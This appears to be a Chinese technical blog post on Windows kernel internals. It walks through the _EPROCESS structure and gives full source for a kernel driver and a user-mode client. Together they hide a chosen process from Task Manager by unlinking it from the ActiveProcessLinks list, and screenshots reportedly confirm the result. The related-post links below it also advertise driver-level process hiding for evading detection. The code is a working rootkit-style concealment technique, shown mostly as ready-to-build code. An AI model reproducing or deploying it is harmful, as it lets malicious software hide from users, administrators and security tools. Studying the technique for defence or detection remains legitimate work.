_EPROCESS断链 —— 实现进程内核隐藏

最新推荐文章于 2024-05-20 10:23:39 发布
最新推荐文章于 2024-05-20 10:23:39 发布
阅读量2.2k 收藏 15
点赞数 1
分类专栏： Windows内核 文章标签： 安全 内核 windows c语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43890959/article/details/114452795
版权

我们可以利用 _EPROCESS 结构体中的 ActiveProcessLinks 双向链表遍历进系统中的进程，并将特定进程从该双向链表中移除，以达到隐藏特定进程的目的。


_EPROCESS

_EPROCESS 结构体是内核用于管理和维护进程的结构体，每个进程都会有一个属于自己的结构体。同一个程序创建了多个进程，其就会有对应个数的 _EPROCESS 。

_EPROCESS 的结构如下：

kd> dt _EPROCESS
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   /*
   	kd> dt _KPROCESS
    nt!_KPROCESS
       +0x000 Header           : _DISPATCHER_HEADER
       // 当结构体中含有 _DISPATCHER_HEADER 结构体的
       // 该结构体对象就可以使用WaitForSingleObject函数等待
       +0x010 ProfileListHead  : _LIST_ENTRY
       +0x018 DirectoryTableBase : [2] Uint4B	//Cr3
       +0x020 LdtDescriptor    : _KGDTENTRY		//历史遗留
       +0x028 Int21Descriptor  : _KIDTENTRY		//历史遗留 
       +0x030 IopmOffset       : Uint2B
       +0x032 Iopl             : UChar
       +0x033 Unused           : UChar
       +0x034 ActiveProcessors : Uint4B
       +0x038 KernelTime       : Uint4B			//R0执行时间
       +0x03c UserTime         : Uint4B			//R3执行时间
       +0x040 ReadyListHead    : _LIST_ENTRY
       +0x048 SwapListEntry    : _SINGLE_LIST_ENTRY
       +0x04c VdmTrapcHandler  : Ptr32 Void
       +0x050 ThreadListHead   : _LIST_ENTRY
       +0x058 ProcessLock      : Uint4B
       +0x05c Affinity         : Uint4B			//规定进程中的所有线程能在哪个CPU上运行
       // 如果值为1，那这个进程的所以线程只能在0号CPU上跑(00000001)			
	   // 如果值为3，那这个进程的所以线程能在0、1号CPU上跑(000000011)	
	   // 4个字节共32位, 所以最多32核; Windows64位, 就64核
       +0x060 StackCount       : Uint2B
       +0x062 BasePriority     : Char			//基础优先级或最低优先级, 该进程中的所有线程最低的优先级
       +0x063 ThreadQuantum    : Char
       +0x064 AutoAlignment    : UChar
       +0x065 State            : UChar
       +0x066 ThreadSeed       : UChar
       +0x067 DisableBoost     : UChar
       +0x068 PowerState       : UChar
       +0x069 DisableQuantum   : UChar
       +0x06a IdealNode        : UChar
       +0x06b Flags            : _KEXECUTE_OPTIONS
       +0x06b ExecuteOptions   : UChar
   */
   +0x06c ProcessLock      : _EX_PUSH_LOCK	
   +0x070 CreateTime       : _LARGE_INTEGER		// 进程的创建时间
   +0x078 ExitTime         : _LARGE_INTEGER		// 进程的退出时间
   +0x080 RundownProtect   : _EX_RUNDOWN_REF
   +0x084 UniqueProcessId  : Ptr32 Void			// 进程的PID
   +0x088 ActiveProcessLinks : _LIST_ENTRY		// 双向链表, 所有的活动进程都连接在一起，构成了一个链表
												// PsActiveProcessHead指向全局链表头, 导出全局变量
   +0x090 QuotaUsage       : [3] Uint4B	//虚拟内存相关的统计信息
   +0x09c QuotaPeak        : [3] Uint4B	//虚拟内存相关的统计信息
   +0x0a8 CommitCharge     : Uint4B		//虚拟内存相关的统计信息
   +0x0ac PeakVirtualSize  : Uint4B		//虚拟内存相关的统计信息
   +0x0b0 VirtualSize      : Uint4B		//虚拟内存相关的统计信息
   +0x0b4 SessionProcessLinks : _LIST_ENTRY
   +0x0bc DebugPort        : Ptr32 Void			
       // 用于为调试器提供调试对象地址, 调试对象用于调试器与被调试进建立联系; 
       // 当调试器附加进程时, 操作系统会在DebugPort处填充一个调试对象地址, 用于供调试器使用
       // 当该值为空时, 进程将会无法被调试
   +0x0c0 ExceptionPort    : Ptr32 Void		// 调试相关
   +0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE		//句柄表
   +0x0c8 Token            : _EX_FAST_REF
   +0x0cc WorkingSetLock   : _FAST_MUTEX
   +0x0ec WorkingSetPage   : Uint4B
   +0x0f0 AddressCreationLock : _FAST_MUTEX
   +0x110 HyperSpaceLock   : Uint4B
   +0x114 ForkInProgress   : Ptr32 _ETHREAD
   +0x118 HardwareTrigger  : Uint4B
   +0x11c VadRoot          : Ptr32 Void			// 指向记录当前进程线性地址分配情况的二叉树
   +0x120 VadHint          : Ptr32 Void
   +0x124 CloneRoot        : Ptr32 Void
   +0x128 NumberOfPrivatePages : Uint4B
   +0x12c NumberOfLockedPages : Uint4B
   +0x130 Win32Process     : Ptr32 Void
   +0x134 Job              : Ptr32 _EJOB
   +0x138 SectionObject    : Ptr32 Void
   +0x13c SectionBaseAddress : Ptr32 Void
   +0x140 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x144 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
   +0x148 Win32WindowStation : Ptr32 Void
   +0x14c InheritedFromUniqueProcessId : Ptr32 Void
   +0x150 LdtInformation   : Ptr32 Void
   +0x154 VadFreeHint      : Ptr32 Void
   +0x158 VdmObjects       : Ptr32 Void
   +0x15c DeviceMap        : Ptr32 Void
   +0x160 PhysicalVadList  : _LIST_ENTRY
   +0x168 PageDirectoryPte : _HARDWARE_PTE
   +0x168 Filler           : Uint8B
   +0x170 Session          : Ptr32 Void
   +0x174 ImageFileName    : [16] UChar		// 进程名
   +0x184 JobLinks         : _LIST_ENTRY
   +0x18c LockedPagesList  : Ptr32 Void
   +0x190 ThreadListHead   : _LIST_ENTRY
   +0x198 SecurityPort     : Ptr32 Void
   +0x19c PaeTop           : Ptr32 Void
   +0x1a0 ActiveThreads    : Uint4B		// 活动的线程数
   +0x1a4 GrantedAccess    : Uint4B
   +0x1a8 DefaultHardErrorProcessing : Uint4B
   +0x1ac LastThreadExitStatus : Int4B
   +0x1b0 Peb              : Ptr32 _PEB		// 指向用户层下的_PEB
   +0x1b4 PrefetchTrace    : _EX_FAST_REF
   +0x1b8 ReadOperationCount : _LARGE_INTEGER
   +0x1c0 WriteOperationCount : _LARGE_INTEGER
   +0x1c8 OtherOperationCount : _LARGE_INTEGER
   +0x1d0 ReadTransferCount : _LARGE_INTEGER
   +0x1d8 WriteTransferCount : _LARGE_INTEGER
   +0x1e0 OtherTransferCount : _LARGE_INTEGER
   +0x1e8 CommitChargeLimit : Uint4B
   +0x1ec CommitChargePeak : Uint4B
   +0x1f0 AweInfo          : Ptr32 Void
   +0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   +0x1f8 Vm               : _MMSUPPORT
   +0x238 LastFaultCount   : Uint4B
   +0x23c ModifiedPageCount : Uint4B
   +0x240 NumberOfVads     : Uint4B
   +0x244 JobStatus        : Uint4B
   +0x248 Flags            : Uint4B
   +0x248 CreateReported   : Pos 0, 1 Bit
   +0x248 NoDebugInherit   : Pos 1, 1 Bit
   +0x248 ProcessExiting   : Pos 2, 1 Bit
   +0x248 ProcessDelete    : Pos 3, 1 Bit
   +0x248 Wow64SplitPages  : Pos 4, 1 Bit
   +0x248 VmDeleted        : Pos 5, 1 Bit
   +0x248 OutswapEnabled   : Pos 6, 1 Bit
   +0x248 Outswapped       : Pos 7, 1 Bit
   +0x248 ForkFailed       : Pos 8, 1 Bit
   +0x248 HasPhysicalVad   : Pos 9, 1 Bit
   +0x248 AddressSpaceInitialized : Pos 10, 2 Bits
   +0x248 SetTimerResolution : Pos 12, 1 Bit
   +0x248 BreakOnTermination : Pos 13, 1 Bit
   +0x248 SessionCreationUnderway : Pos 14, 1 Bit
   +0x248 WriteWatch       : Pos 15, 1 Bit
   +0x248 ProcessInSession : Pos 16, 1 Bit
   +0x248 OverrideAddressSpace : Pos 17, 1 Bit
   +0x248 HasAddressSpace  : Pos 18, 1 Bit
   +0x248 LaunchPrefetched : Pos 19, 1 Bit
   +0x248 InjectInpageErrors : Pos 20, 1 Bit
   +0x248 VmTopDown        : Pos 21, 1 Bit
   +0x248 Unused3          : Pos 22, 1 Bit
   +0x248 Unused4          : Pos 23, 1 Bit
   +0x248 VdmAllowed       : Pos 24, 1 Bit
   +0x248 Unused           : Pos 25, 5 Bits
   +0x248 Unused1          : Pos 30, 1 Bit
   +0x248 Unused2          : Pos 31, 1 Bit
   +0x24c ExitStatus       : Int4B
   +0x250 NextPageColor    : Uint2B
   +0x252 SubSystemMinorVersion : UChar
   +0x253 SubSystemMajorVersion : UChar
   +0x252 SubSystemVersion : Uint2B
   +0x254 PriorityClass    : UChar
   +0x255 WorkingSetAcquiredUnsafe : UChar
   +0x258 Cookie           : Uint4B

Code

驱动代码如下：

#include <ntddk.h>

#define DEVICE_NAME L"\\Device\\Driver"
#define SYMBOLICLINK_NAME L"\\??\\DriverLink"
#define OPER_ProcessHide CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)

// 函数声明
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING RegPath);
VOID DriverUnload(PDRIVER_OBJECT pDriver);
NTSTATUS IrpCreateProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS IrpCloseProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS IrpDeviceControlProc(PDEVICE_OBJECT pDevObj, PIRP pIrp);
NTSTATUS _NtProcessHide(ULONG uPid);

// 入口函数
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING RegPath)
{
	NTSTATUS status;
	ULONG uIndex = 0;
	PDEVICE_OBJECT pDeviceObj = NULL; // 设备对象指针
	UNICODE_STRING DeviceName; // 设备名，0环用
	UNICODE_STRING SymbolicLinkName; // 符号链接名，3环用

	// 创建设备名称
	RtlInitUnicodeString(&DeviceName, DEVICE_NAME);
	// 创建设备
	status = IoCreateDevice(pDriver, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObj);
	if (status != STATUS_SUCCESS)
	{
		IoDeleteDevice(pDeviceObj);
		DbgPrint("创建设备失败.\n");
		return status;
	}
	DbgPrint("创建设备成功.\n");
	// 设置交互数据的方式
	pDeviceObj->Flags |= DO_BUFFERED_IO;
	// 创建符号链接
	RtlInitUnicodeString(&SymbolicLinkName, SYMBOLICLINK_NAME);
	IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
	// 设置分发函数
	pDriver->MajorFunction[IRP_MJ_CREATE] = IrpCreateProc;
	pDriver->MajorFunction[IRP_MJ_CLOSE] = IrpCloseProc;
	pDriver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceControlProc;
	// 设置卸载函数
	pDriver->DriverUnload = DriverUnload;
	return STATUS_SUCCESS;
}

// 卸载驱动
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
	UNICODE_STRING SymbolicLinkName;
	// 删除符号链接，删除设备
	RtlInitUnicodeString(&SymbolicLinkName, SYMBOLICLINK_NAME);
	IoDeleteSymbolicLink(&SymbolicLinkName);
	IoDeleteDevice(pDriver->DeviceObject);
	DbgPrint("驱动卸载成功\n");
}

// 不设置这个函数，则Ring3调用CreateFile会返回1
// IRP_MJ_CREATE 处理函数
NTSTATUS IrpCreateProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	DbgPrint("应用层连接设备.\n");
	// 返回状态如果不设置，Ring3返回值是失败
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

// IRP_MJ_CLOSE 处理函数
NTSTATUS IrpCloseProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	DbgPrint("应用层断开连接设备.\n");
	// 返回状态如果不设置，Ring3返回值是失败
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

// IRP_MJ_DEVICE_CONTROL 处理函数
NTSTATUS IrpDeviceControlProc(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	// DbgPrint("IrpDeviceControlProc.\n");
	NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
	// 获取IRP数据
	PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	// 获取控制码
	ULONG uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	// 获取缓冲区地址（输入输出是同一个）
	PVOID pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;
	// Ring3 发送数据的长度
	// ULONG uInLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
	// Ring0 发送数据的长度
	// ULONG uOutLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;

	switch (uIoControlCode)
	{
		case OPER_ProcessHide:
		{
			ULONG uPid;
			memcpy(&uPid, pIoBuffer, 4);
			DbgPrint("隐藏进程PID: %u\n", uPid);
			NTSTATUS ntRet = _NtProcessHide(uPid);
			if (ntRet == STATUS_SUCCESS)
			{
				ntRet = 1;
			}
			else ntRet = 0;
			memcpy(pIoBuffer, &ntRet, sizeof(NTSTATUS));

			// 设置状态
			pIrp->IoStatus.Information = sizeof(NTSTATUS); // 返回数据长度
			status = STATUS_SUCCESS;
			break;
		}
	}

	// 返回状态如果不设置，Ring3返回值是失败
	pIrp->IoStatus.Status = status;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}


// 进程隐藏
NTSTATUS _NtProcessHide(ULONG uPid)
{
	PEPROCESS pEPROCESS;
	LPSTR lpImageFileName;

	__asm
	{
		mov eax, fs: [0x124] ;
		mov eax, [eax + 0x220];
		mov pEPROCESS, eax;
		/*mov eax, [eax + 0x84];
		mov pid, eax;*/
	}
	PLIST_ENTRY pHeader = (PCHAR)pEPROCESS + 0x88;
	PLIST_ENTRY pCur = pHeader;
	
	do 
	{
		if (*(PLONG)((ULONG)pCur - 4) == uPid)
		{
			lpImageFileName = (PCHAR)pCur + 0xec;
			DbgPrint("该进程名称: %s\n", lpImageFileName);
			pCur->Flink->Blink = pCur->Blink;
			pCur->Blink->Flink = pCur->Flink;
			DbgPrint("隐藏进程成功!\n");
			return STATUS_SUCCESS;
		}
		pCur = pCur->Blink;
	} while (pCur != pHeader);
	return STATUS_ABANDONED;
}

测试程序代码如下：

#include <windows.h>
#include <stdio.h>

//#define DEVICE_NAME L"\\Device\\Driver"
#define SYMBOLICLINK_NAME L"\\\\.\\DriverLink"
#define OPER_ProcessHide CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IN_BUFFER_MAXLENGTH 4
#define OUT_BUFFER_MAXLENGTH 4

int main(int argc, char* argv[])
{
	// 获取设备句柄
	HANDLE hDevice = CreateFileW(SYMBOLICLINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	DWORD dwError = GetLastError();
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		printf("获取设备句柄失败 %d.\n", dwError); // 如果返回1，请在驱动中指定 IRP_MJ_CREATE 处理函数
		getchar();
		return 1;
	}
	else
	{
		printf("获取设备句柄成功.\n");
	}

	// 测试通信
	BOOL bRet;		// 隐藏进程返回值
	DWORD dwOutSize;	// 返回数据长度
	DWORD dwPid;	// 进程PID

	// 获取进程PID
	printf("请输入需要隐藏的进程PID:");
	scanf("%d", &dwPid);

	DeviceIoControl(hDevice, OPER_ProcessHide, &dwPid, IN_BUFFER_MAXLENGTH, &bRet, OUT_BUFFER_MAXLENGTH, &dwOutSize, NULL);
	printf("uRet: %x\n", bRet);
	if (bRet != 0)
	{
		printf("隐藏进程成功!\n");
	}
	else
		printf("隐藏进程失败!\n");

	// 关闭设备
	CloseHandle(hDevice);
	system("pause");
	return 0;
}

可以看到，进程 haha.exe 的 PID 为 824。
在这里插入图片描述

在这里插入图片描述


可以看到，任务管理器中已将无法看到 haha.exe 了。
在这里插入图片描述

walker-n
关注
  • 1
    点赞
  • 踩
  • 15
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
专栏目录
内核下断链隐藏进程(兼容多版本Windows系统,非硬编码)
Think88666的博客
09-01 1317
内核下断链隐藏进程(兼容多版本Windows系统,非硬编码)
EPROCESS 结构体属性介绍
hambaga的博客
03-10 2030
typedef struct _EPROCESS { // KPROCESS 和 EPROCESS 地址相同 KPROCESS Pcb; // // Lock used to protect: // The list of threads in the process. // Process token. // Win32 process field. // Process and thread affinity setting. /
进程断链隐藏_r0_进程保护_进程断链隐藏_断链隐藏_驱动_
10-01
从进程链表中摘除指定进程
【驱动级！进程隐藏-按键精灵过检】驱动级，内核级进程隐藏，进程保护。实战效果演示，免费分享。
最新发布
luoqiaoliang的博客
05-20 1245
废话不多说，干货直接上！ 免费的驱动级进程隐藏工具分享，还不赶紧带上你的赞和关注白嫖一波吗？
Windows内核编程基础篇之常见内核数据结构
知其所以然
08-28 3399
1，驱动框架常见数据结构有 驱动对象结构，  设备对象结构等。         A）驱动对象结构  (DRIVER_OBJECT)             每个驱动对象代表一个已加载的内核驱动程序，指向驱动对象结构的指针常常作为DriverEntry，AddDevice， Unload等函数的参数。驱动对象结构式半透明的。其中公开的域包括DeviceObject，DriverExtensio
（EPROCESS/KPROCESS/ETHREAD/KTHREAD）进程与线程内核层中的结构
weixin_45678798的博客
07-27 1366
现代操作系统通过中央处理器进行任务执行的操作，通过把时间细分，在适当的时间粒度上轮流执行任务，每个任务都有机会进行执行。通过这种方式用户会认为系统的任务是在同时进行的，这种并行方式被称为伪并行，当然如果存在多个处理器，也可变成真并行。...........................
Win10下的_EPROCESS结构记录
WorryFree
11-30 2170
kd> dt _EPROCESS ntdll!_EPROCESS +0x000 Pcb : _KPROCESS 内嵌的内核层进程结构体 +0x2e0 ProcessLock : _EX_PUSH_LOCK 自旋锁 用于保护EPROCESS数据成员的同步 +0x2e8 UniqueProcessId : Ptr64 Void 进程的唯一PID +0x2f0 ActiveProcessLinks :
Windows内核驱动EPROCESS遍历进程模块
12-14
"EPROCESS遍历进程模块"这个主题涉及到的是如何在内核驱动中获取并遍历当前系统中所有进程的加载模块信息。EPROCESS结构体在Windows内核中代表一个进程，而模块则是进程执行时加载的动态链接库（DLL）或其他可执行...
EPROCESS.rar_EPROCE_EPROCESS_EPROCESS win7_EPROCESS winxp_win 7
09-14
开发者可能需要了解EPROCESS结构来编写内核模式驱动程序，以实现更精细的进程控制，如设置优先级、改变权限或者监控进程活动。 在Windows中，EPROCESS结构通常是不直接暴露给用户级别的应用程序的，但开发者可以...
eprocess.zip_EPROCESS_eprocess结构体
09-24
在Windows操作系统中，EPROCESS结构体是内核级的数据结构，它代表了系统中的一个进程。这个结构体包含了关于进程的各种信息，如进程ID、内存分配、权限、句柄表等。当我们谈论“wrk中当前进程的EPROCESS结构体”时，...
EPROCESS_EPROCESS_Vc_
09-30
总结来说，"EPROCESS_EPROCESS_Vc_"的主题涵盖了Windows内核中的EPROCESS结构，特别是与进程管理和虚拟化控制相关的部分，以及如何利用EPROCESS结构中的双向链表进行进程检测的方法。这对于理解Windows内核的工作...
get-EPROCESS.zip_EPROCESS
09-23
在Windows操作系统中，EPROCESS是内核模式下的一个数据结构，它代表了系统中的每一个进程。EPROCESS结构包含了关于进程的各种信息，如进程ID、安全上下文、虚拟内存分配等。"get-EPROCESS.zip_EPROCESS"这个文件组合...
再谈进程PID相同的深入探究
sunxuns
04-08 1532
  创建时间：2005-04-21 更新时间：2005-04-21文章属性：原创文章提交：sunwear (btwlu_at_163.com)再谈进程PID相同的深入探究作者:sunwear [E.S.T]shellcoder@163.comhttp://blog.csdn.net/s
进程结构体EPROCESS
maomao171314的专栏
02-01 2085
1、进程结构体EPROCESS 每个windows进程在0环都有一个对应的结构体：EPROCESS 这个结构体包含了进程所有重要的信息。 kd> dt _EPROCESS +0x000 Pcb : _KPROCESS +0x078 ProcessLock : _EX_PUSH_LOCK +0x080 CreateTime : _LARGE_INTEGER +0x088 ExitTime : _LARG...
EPROCESS遍历进程
For Geek
05-07 1980
Windows为每一个进程都安排了一个EPROCESS的结构用于维护每一个进程，当然EPROCESS是属于内核管理的，所以只有ring0层的程序才可以访问这个结构，下面我们来看一下EPROCESS的结构是怎样的。 kd> dt _eprocess ntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x06c ProcessL...
(20)[进程与线程] 相关结构体
qq_50332504的博客
08-09 247
本章介绍与进程线程相关的几个结构体，_EPROCESS, _KPROCESS; _ETHREAD, _KTHREAD; _KPCR，但由于结构体巨大，我们提及几个常用的
断链隐藏进程
m0_75243362的博客
04-21 639
新手windbg使用，入门内核
（渗透测试后期）Linux进程隐藏详解
热门推荐
qq_42882717的博客
03-27 1万+
文章目录（渗透测试后期）Linux进程隐藏详解前言Linux进程基础Linux进程侦查手段Linux进程隐藏手段一、基于用户态的进程隐藏方法1：小隐隐于/proc/pid——劫持readdir系统调用额外：加载至arm方法2：小隐隐于/proc/pid——mount 挂载二、基于内核态的进程隐藏方法3：大隐隐于内核——修改内核源码+系统调用方法4：大隐隐于内核——修改内核源码proc_pid_lookup方法5：大隐隐于内核——编写驱动/内核模块——LKM实现进程隐藏总结 （渗透测试后期）Linux进程隐藏
EPROCESS 结构
swanabin的专栏
07-05 1万+
每个进程都有一个 EPROCESS 结构，里面保存着进程的各种信息，和相关结构的指针。EPROCESS 结构位于系统地址空间，所以访问这个结构需要有ring0的权限。使用 Win2k DDK 的 KD （内核调试器）我们可以得到 EPROCESS 结构的定义。注意下面的是 Win2k Build 2195 下的 EPROCESS 结构定义。 kd> !strct eprocess !s
eprocess存在进程内存中吗
07-14
在Windows操作系统中，EPROCESS（进程控制块）是操作系统内核中的数据结构，用于描述和管理一个进程的信息。EPROCESS结构并不直接存在于进程的虚拟内存空间中，而是在内核地址空间中。 每个进程都有一个唯一的...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值